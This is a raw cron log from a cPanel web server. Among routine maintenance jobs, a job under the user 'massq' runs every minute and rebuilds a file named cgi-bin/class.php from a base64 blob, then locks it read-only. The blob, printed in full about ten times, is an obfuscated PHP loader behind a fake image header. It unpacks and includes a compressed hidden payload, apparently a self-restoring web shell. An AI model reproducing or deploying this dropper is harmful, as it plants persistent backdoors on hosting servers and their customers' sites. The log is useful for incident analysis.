Sep  5 16:45:01 server CROND[697]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:45:01 server CROND[698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:46:01 server CROND[1624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:46:01 server CROND[1625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:46:01 server CROND[1627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:47:01 server CROND[2120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:47:01 server CROND[2122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:47:01 server CROND[2121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:48:01 server CROND[2497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:48:01 server CROND[2498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:48:01 server CROND[2499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:49:01 server CROND[2901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:49:01 server CROND[2903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:49:01 server CROND[2902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:50:01 server CROND[3283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:50:01 server CROND[3290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:50:01 server CROND[3288]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:50:01 server CROND[3291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:50:01 server CROND[3287]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:50:01 server CROND[3292]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:50:01 server CROND[3285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:50:01 server CROND[3289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:50:01 server CROND[3286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:51:01 server CROND[4179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:51:01 server CROND[4180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:51:01 server CROND[4178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:52:01 server CROND[4552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:52:01 server CROND[4553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:52:01 server CROND[4554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:53:01 server CROND[5030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:53:01 server CROND[5031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:53:01 server CROND[5032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:54:01 server CROND[5403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:54:01 server CROND[5404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:54:01 server CROND[5405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:55:01 server CROND[5773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:55:01 server CROND[5775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:55:01 server CROND[5779]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:55:01 server CROND[5783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:55:01 server CROND[5780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:55:01 server CROND[5785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:55:01 server CROND[5787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:56:01 server CROND[6597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:56:01 server CROND[6598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:56:01 server CROND[6599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:57:01 server CROND[6980]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:57:01 server CROND[6981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:57:01 server CROND[6982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:57:01 server CROND[6983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:58:01 server CROND[7410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
